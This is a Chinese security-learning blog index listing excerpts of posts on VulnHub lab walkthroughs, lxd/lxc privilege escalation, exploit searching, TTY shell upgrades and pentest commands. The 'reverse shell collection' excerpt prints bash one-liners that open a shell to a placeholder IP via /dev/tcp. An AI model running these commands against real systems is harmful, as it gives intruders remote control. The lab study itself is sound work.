hirak0 - 博客园

2022年4月7日

摘要：靶机描述靶机地址：https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/ Description This machine hopes to inspire BRAVERY in you; this machine may surp 阅读全文

posted @ 2022-04-07 15:53 hirak0 阅读(715) 评论(0) 推荐(0)

lxd/lxc组提权

摘要： lxd和lxc Linux Container（LXC）通常被认为是一种轻量级虚拟化技术，它介于Chroot和完整开发的虚拟机之间，LXC可以创建一个跟正常Linux操作系统十分接近的环境，但是不需要使用到单独的内核资源。 Linux Daemon（LXD）是一个轻量级容器管理程序，而LXD是基于L 阅读全文

posted @ 2022-04-07 11:37 hirak0 阅读(779) 评论(0) 推荐(0)

靶机渗透练习52-KB-VULN-FINAL

摘要：靶机描述靶机地址：https://www.vulnhub.com/entry/kb-vuln-4-final,648/ Description This machine is the kind that will measure your level in both research and ex 阅读全文

posted @ 2022-04-07 09:09 hirak0 阅读(216) 评论(0) 推荐(0)

2022年4月6日

靶机渗透练习51-KB-VULN3

摘要：靶机描述靶机地址：https://www.vulnhub.com/entry/kb-vuln-3,579/ Description This machine is the kind that will measure your research ability. This VM is runnin 阅读全文

posted @ 2022-04-06 00:30 hirak0 阅读(165) 评论(0) 推荐(0)

2022年4月5日

搜索漏洞

摘要：搜索漏洞浏览器在google或其搜索引擎进行搜索：<service_name> [version] exploit 还可以在https://exploits.shodan.io进行搜索。 Searchsploit 在kali的控制台上搜索 #Searchsploit tricks searchs 阅读全文

posted @ 2022-04-05 19:59 hirak0 阅读(100) 评论(0) 推荐(0)

生成 TTY Shell

摘要：升级远程 shell（仅限 Unix 机器） https://netsec.ws/?p=337 通常，在通过 nc 捕获 shell 之后，会在一个功能非常有限的 shell 中。例如没有命令历史记录（并使用向上“”和“向下”箭头循环浏览它们）和文件名称、命令自动完成等。在缺少这些功能的 shell 阅读全文

posted @ 2022-04-05 19:48 hirak0 阅读(163) 评论(0) 推荐(0)

Linux提权总结

摘要：提权概念特权升级有两种类型：水平和垂直。在水平升级中，您从一个用户转移到另一个用户。在这种情况下，两个用户都是通用的，而在垂直方式中，我们将特权从普通用户提升为管理员。用户无法访问（读取/写入/执行）不允许访问的文件。但是，超级用户（root）可以访问系统上存在的所有文件。为了更改任何重要的阅读全文

posted @ 2022-04-05 19:46 hirak0 阅读(398) 评论(0) 推荐(0)

反弹shell收集

摘要：反弹shell IP:8.8.8.8 Port:8888 Bash TCP Victim bash -c 'exec bash -i &>/dev/tcp/8.8.8.8/8888 <&1' bash -i >& /dev/tcp/8.8.8.8/8888 0>&1 /bin/bash -i > / 阅读全文

posted @ 2022-04-05 19:45 hirak0 阅读(73) 评论(0) 推荐(0)

Linux提权

摘要： Linux提权本项目用来记录自己在Linux提权过程中遇到的一些内容，包括提权方法提权工具等。Linux提权在后渗透过程中也较为重要，因为我们将会在此仓库持续更新Linux提权的相关内容！提权有风险，提权需谨慎。不到非提不可的情况下千万不要尝试提权！作者：0e0w 01-Linux提权基础知识阅读全文

posted @ 2022-04-05 19:37 hirak0 阅读(376) 评论(0) 推荐(0)

收集渗透中会用到的常用命令

摘要： command 收集渗透中会用到的常用命令。更新时间：2022.2.27 Table of Contents command nmap 存活主机 bypass gobuster dirsearch nbtscan 代理工具 ssh grep mysql sqlmap hydra medusa p 阅读全文

posted @ 2022-04-05 19:34 hirak0 阅读(438) 评论(0) 推荐(0)

hirak0's Blog

信安小萌新

公告